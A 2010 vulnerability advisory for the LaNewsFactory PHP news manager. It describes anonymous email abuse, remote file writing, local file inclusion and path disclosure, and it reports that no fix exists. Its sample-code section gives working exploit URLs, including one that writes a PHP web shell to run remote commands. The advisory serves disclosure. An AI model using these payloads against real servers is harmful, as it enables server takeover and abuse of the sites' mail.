LaNewsFactory Multiple Remote Vulnerabilities
http://www.salvatorefresta.net/files/adv/LaNewsFactory%20Multiple%20Remote%20Vulnerabilities-19042010.txt
Name LaNewsFactory
Vendor Christophe Brocas
Versions Affected <= 1.0.0
Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-04-19
X. INDEX
I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX
VI. DISCLOSURE TIMELINE
I. ABOUT THE APPLICATION
This is a very used news manager that not require a
database.
II. DESCRIPTION
This news managment is affected by many vulnerabilities
that allows a guest to write arbitrary files on the
system, include local files, read local files etc..
III. ANALYSIS
Summary:
A) Anonymous email
B) Remote File Writing
C) Multiple Local File Inclusion
D) Full Path Disclosure
A) Anonymous email
The mailto.php file allows a guest to send arbitrary emails.
The input is not properly sanitised:
if (ValidEmailAdress($youremail) and ValidEmailAdress($friendemail))
{
mail ($friendemail, $display[$lang]["mailtoafriend"],"$comments\n\n".$url."print".$LNF_file_extension."?art=$newsfilename\n\n$yourname", "From: $youremail");
B) Remote File Writing
The save-edited-news.php file allows a guest to write a
file on the system. This vulnerability may be used to
execute remote commands on the system.
C) Multiple Local File Inclusion
There are many files that use a not sanitised input with
include PHP function. This vulnerability may be used to
execute remote commands by including the Apache Log file.
D) Full Path Disclosure
For example, print.php file prints many errors by
including the full path of the file. This path may be
very useful for local file inclusion and other.
IV. SAMPLE CODE
A) Anonymous email
mailto.php?friendemail=target@email.com&youremail=ano@email.com&comments=suck!
B) Remote File Writing to Remote Command Execution
save-edited-news.php?art=news/file.php&corps=<?php system($_GET[cmd]); ?>
D) Full Path Disclosure
print.php?art=-1.xml
V. FIX
No fix.
VIII. DISCLOSURE TIMELINE
2010-04-19 Bugs discovered
2010-04-19 Advisory released
